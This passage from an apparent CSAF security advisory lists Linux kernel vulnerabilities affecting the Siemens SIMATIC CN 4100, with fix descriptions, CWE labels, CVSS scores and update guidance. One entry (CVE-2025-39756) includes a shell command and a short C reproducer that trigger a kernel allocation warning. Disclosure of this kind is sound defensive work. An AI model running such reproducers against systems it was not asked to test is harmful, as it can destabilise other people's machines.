class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later 